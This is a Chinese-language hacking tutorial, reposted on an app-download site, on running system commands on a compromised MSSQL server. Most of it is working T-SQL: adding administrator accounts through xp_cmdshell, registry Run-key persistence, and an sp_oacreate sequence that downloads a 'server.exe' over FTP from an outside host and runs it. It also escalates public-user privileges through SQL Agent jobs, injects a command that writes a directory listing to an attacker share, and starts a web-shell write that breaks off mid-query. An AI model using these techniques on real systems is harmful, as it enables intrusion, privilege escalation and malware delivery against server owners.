瑞鲁手机APP下载网_专注推荐好用的手机APP和游戏APP

How to execute system command in MSSQL

How to execute system command in MSSQL

查看人次:1摘自:手机游戏APP网

假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接能有哪些办法加一个系统管理员用户呢(或是执行系统命令)1).XP_CMDSHELL cmd.exe /c net user aaa bbb /add人人都知道的办法,最大的好处是有回显,但是最怕if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[xp_cmdshell]) and OBJECTPROPERTY(id, NIsExtendedProc) = 1)exec sp_dropextendedproc N[dbo].[xp_cmdshell]GO通过上面的T-SQL语句就可以把这个扩展储存删了我们一般可以用2k:EXEC sp_addextendedproc xp_cmdshell ,@dllname =xplog70.dll SQL97:EXEC sp_addextendedproc xp_cmdshell ,@dllname =xpsql70.dll就还原了.但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的DROP PROCEDURE sp_addextendedprocif exists (select * from dbo.sysobjects where id = object_id(N[dbo].[xp_cmdshell]) and OBJECTPROPERTY(id, NIsExtendedProc) = 1)exec sp_dropextendedproc N[dbo].[xp_cmdshell]GO 还原:create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */@dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,sp_addextendedproc)return (1)end/*** Create the extended procedure mapping.*/dbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGO 唉呀呀写了这么多其实有个最简单的保护办法:先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了再把服务打开就可以了2)看了上面的你就明白了xp_cmdshell最终是可以被删除的,没别的办法了吗?有写注册表三:xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\currentversion\run, czy82,REG_SZ, net user czy bb /add其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置用写注册表的办法不好的地方是不但没有回显而且不能马上运行,实不实用我也不知道了:(3)declare @s  intexec sp_oacreate "wscript.shell",@s out--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com>c:\a.txt"--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:\a.txt"--exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:\a.txt"--exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt"exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod,在它们的作用下我们可以调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样马上看到结果,真的不能吗看下面的:declare @s  int,@o int ,@f int,@str nvarchar(4000)/*exec sp_oacreate "wscript.shell",@s outexec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:\temp.txt"*/exec sp_oacreate "scripting.filesystemobject", @o outexec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1exec sp_oamethod @f, "readall",@str outprint @str先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用fso来读出来!很实用的:)------------------------------------------写到这儿该作个总结了上面三个办法可能大家都知道吧下面的可能知道的人就少了:)------------------------------------------4)use msdb; --这儿不要是master哟exec sp_add_job @job_name=czy82;exec sp_add_jobstep @job_name=czy82,@step_name = Exec my sql,@subsystem=CMDEXEC,@command=dir c:\>c:\b.txt;exec sp_add_jobserver @job_name = czy82,@server_name = smscomputer;exec sp_start_job @job_name=czy82;利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以执行tsql语句了.对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名                        第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)                        net start SQLSERVERAGENT对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的USE msdbEXEC sp_add_job @job_name = GetSystemOnSQL,@enabled = 1,@description = This will give a low privileged user access toxp_cmdshell,@delete_level = 1EXEC sp_add_jobstep @job_name = GetSystemOnSQL,@step_name = Exec my sql,@subsystem = TSQL,@command = exec master..xp_execresultset Nselect execmaster..xp_cmdshell "dir > c:\agent-job-results.txt",NMasterEXEC sp_add_jobserver @job_name = GetSystemOnSQL,@server_name = 你的SQL的服务器名EXEC sp_start_job @job_name = GetSystemOnSQL不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以才让我们可以以public执行xp_cmdshell5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968USE msdbEXEC sp_add_job @job_name = ArbitraryFileCreate,@enabled = 1,@description = This will create a file called c:\sqlafc123.txt,@delete_level = 1EXEC sp_add_jobstep @job_name = ArbitraryFileCreate,@step_name = SQLAFC,@subsystem = TSQL,@command = select hello, this file was created by the SQL Agent.,@output_file_name = c:\sqlafc123.txtEXEC sp_add_jobserver @job_name = ArbitraryFileCreate,@server_name = SERVER_NAMEEXEC sp_start_job @job_name = ArbitraryFileCreate 如果subsystem选的是:tsql,在生成的文件的头部有如下内容??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19----------------------------------------------hello, this file was created by the SQL Agent.(1 ?????)所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员命令的vbs文件到启动目录!6)关于sp_makewebtask(可以写任意内容任意文件名的文件)  关于sp_MScopyscriptfile 看下面的例子declare @command varchar(100) declare @scripfile varchar(200) set concat_null_yields_null off select @command=dir c:\ > "\\attackerip\share\dir.txt" select @scripfile=c:\autoexec.bat > nul" |  + @command +  | rd " exec sp_MScopyscriptfile @scripfile , 这两个东东都还在测试试哟让MSSQL的public用户得到一个本机的web shell:)sp_makewebtask @outputfile=d:\sms\a.asp,@charset=gb2312,--@query=select --@query=select  @query=select       

相关文摘:软件资讯 windows
标题名称:《How to execute system command in MSSQL》
本文网址:https://www.sdruilu.cn/news/tpart-381.html